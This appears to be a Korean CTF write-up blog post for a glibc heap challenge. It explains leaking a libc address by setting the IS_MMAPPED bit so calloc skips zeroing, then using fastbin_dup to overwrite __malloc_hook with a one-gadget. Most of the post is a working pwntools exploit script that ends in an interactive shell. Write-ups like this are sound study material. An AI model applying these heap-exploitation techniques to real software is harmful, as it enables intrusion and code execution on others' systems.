leak을 하는게 신기했던 문제!
128만큼 할당하고 해제해서 main_arena+88의 주소를 얻어야하는데 calloc로 메모리를 재할당하면 해당 메모리 영역이 초기화된다. 이때 calloc를 하기 전에 size 부분을 1증가 시켜서 IS_MMAPPED 플래그를 세팅해주면 calloc를 해도 초기화가 안된다!! : )
이걸 이용해서 leak하고 간단하게 fastbin_dup으로 malloc_hook을 써주면 끝!
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | from pwn import * s = process("./program") elf = ELF("./program") libc = ELF("./libc.so.6") def new(length,content):     s.sendlineafter("choice: ","1")     s.sendlineafter("length: ",str(length))     s.sendlineafter("content: ",content) def show():     s.sendlineafter("choice: ","2") def edit(index,size):     s.sendlineafter("choice: ","3")     s.sendlineafter("index: ",str(index))     s.sendlineafter("index: ",str(size)) def dell(index):     s.sendlineafter("choice: ","4")     s.sendlineafter("index: ",str(index)) def quit():     s.sendlineafter("choice: ","5") new(104,"A"*32) new(0x80,"B"*32) new(0x80,"C"*32) dell(1) edit(0,104) new(0x80,"B"*8) s.recvuntil("B"*8) leak = u64(s.recv(6)+"\x00"*2) print "leak : " + hex(leak) libc_base = leak - 0x3c4b0a print "libc_Base : " + hex(libc_base) one_shot = libc_base + 0xf02a4 malloc_hook = libc_base + libc.symbols['__malloc_hook'] print "malloc_hook : " + hex(malloc_hook) print "one_shot : " + hex(one_shot) new(0x60,"1"*8) #4 new(0x60,"2"*8) #5 dell(4) dell(5) dell(4) new(0x60,p64(malloc_hook-19)) new(0x60,"B") new(0x60,"C") new(0x60,"D"*3+p64(one_shot)) s.sendline("1") s.sendline("1") s.interactive() | cs | 
| [SCTF_2018] cowboy (0) | 2019.11.27 | 
|---|---|
| [BSidesSF_2019] runitplusplus (0) | 2019.11.17 | 
| [Hack.lu_2014] oreo (0) | 2019.11.12 | 
| [SECCON_2018] kindvm (0) | 2019.11.11 | 
| [Codegate_2019] aeiou (0) | 2019.11.11 |